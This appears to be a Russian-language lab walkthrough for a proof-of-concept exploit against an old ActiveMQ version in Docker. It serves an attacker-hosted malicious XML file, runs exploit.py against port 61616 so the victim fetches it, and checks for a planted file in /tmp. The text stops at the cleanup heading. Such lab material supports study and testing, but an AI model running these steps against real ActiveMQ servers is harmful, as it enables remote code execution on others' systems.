🚀 Пошаговое руководство по использованию

Шаг 1: Запуск жертвы (ActiveMQ)

Мы запустим старую уязвимую версию ActiveMQ с помощью Docker.

1. Откройте терминал.
2. Перейдите в папку vulnerable-env:
   root@kitploit:~

   cd vulnerable-env
   

3. Запустите контейнер:
   root@kitploit:~

   docker-compose up -d
   

4. Подождите 30 секунд, чтобы сервер полностью запустился.

Шаг 2: Размещение вредоносного XML

Сервер-жертва должен загрузить инструкции от нас. Мы настроим небольшой веб-сервер для размещения этих инструкций.

1. Откройте второй терминал.
2. Перейдите в папку attacker:
   root@kitploit:~

   cd attacker
   

3. Запустите веб-сервер на Python:
   root@kitploit:~

   python3 serve.py
   

   Оставьте этот терминал открытым! Вы должны увидеть "Serving HTTP on 0.0.0.0 port 8000..."

Шаг 3: Запуск эксплойта

Теперь мы отправляем специальный сетевой пакет, который запускает уязвимость.

1. Откройте третий терминал.

2. Перейдите в папку attacker:

   root@kitploit:~

   cd attacker
   

3. Запустите скрипт эксплойта.

   • Примечание: Если вы на macOS или Windows, используйте команду ниже точно так, как написано.
   root@kitploit:~

   python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
   

   • Пользователи Linux: Если вы на Linux, замените host.docker.internal на шлюз сетевого моста, обычно: 172.17.0.1. Попробуйте получить адрес следующим образом, если предложенный не работает: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

Шаг 4: Проверка взлома

Сработало? Давайте проверим, был ли создан файл внутри контейнера.

1. Вернитесь в первый терминал (или любой другой).
2. Выполните эту команду для проверки папки /tmp внутри жертвы:
   root@kitploit:~

   docker exec activemq-victim ls -l /tmp
   

3. Успех: Вы должны увидеть файл с именем pwned_by_ssp_team.

🧹 Очистка

Чтобы остановить и удалить уязвимый контейнер: